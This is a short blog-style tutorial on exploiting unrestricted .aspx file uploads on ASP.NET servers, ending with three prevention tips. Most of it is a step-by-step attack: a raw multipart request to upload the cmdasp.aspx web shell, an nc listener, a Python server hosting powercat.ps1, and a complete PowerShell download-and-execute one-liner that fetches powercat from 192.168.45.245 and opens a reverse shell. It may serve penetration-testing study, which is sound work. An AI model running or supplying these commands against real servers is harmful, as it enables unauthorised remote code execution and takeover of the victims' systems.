.ASPX File Upload Exploit and Reverse Shell

Published on March 21, 2025

What is ASPX?

ASPX stands for "Active Server Page Extended" and is a file used in Microsoft ASP.NET applications. It contains server-side C# code that runs on a Windows web server. When a user accesses an .aspx page, the server processes the embedded code and returns the resulting HTML.

Understanding the Exploit

Many web applications allow users to upload files. If the app does not properly restrict file types or validate content, an attacker can upload a malicious .aspx file (web shell). When this file is accessed, it executes commands on the server with the same privileges as the web server process (often SYSTEM).

Step-by-Step Exploitation

1. Create the Web Shell

Use the famous cmdasp.aspx shell. It provides a simple form where you can input system commands and see their output.

2. Prepare the HTTP Upload Request

This is an example of the raw HTTP request to upload cmdasp.aspx:

POST /vulnerable/upload.aspx HTTP/1.1
Host: target-server
Content-Type: multipart/form-data; boundary=---------------------------71636478919038147531957268791

-----------------------------71636478919038147531957268791
Content-Disposition: form-data; name="ctl00$MainContent$FileUploadControl"; filename="cmdasp.aspx"
Content-Type: application/octet-stream

[Insert full contents of cmdasp.aspx here]
-----------------------------71636478919038147531957268791--

Replace the path and form field names as needed depending on the web app structure.

3. Access the Shell

After uploading, go to:

http://target-server/uploads/cmdasp.aspx

You’ll see a form asking for a command. This is the interactive shell.

4. Set Up Your Listener

On your attack machine:

nc -lvnp 4444

5. Host PowerShell Payload

In the same folder as powercat.ps1:

python3 -m http.server 80

6. Get Reverse Shell Access

In the web shell input, run:

powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.245/powercat.ps1');powercat -c 192.168.45.245 -p 4444 -e powershell"

The command downloads and executes the reverse shell, connecting back to your Netcat listener.

Security Tip

This kind of exploit can be prevented by:

  • Blocking .aspx/.php/.jsp extensions in uploads
  • Validating file content, not just name
  • Isolating upload folders without execute permissions

Related Articles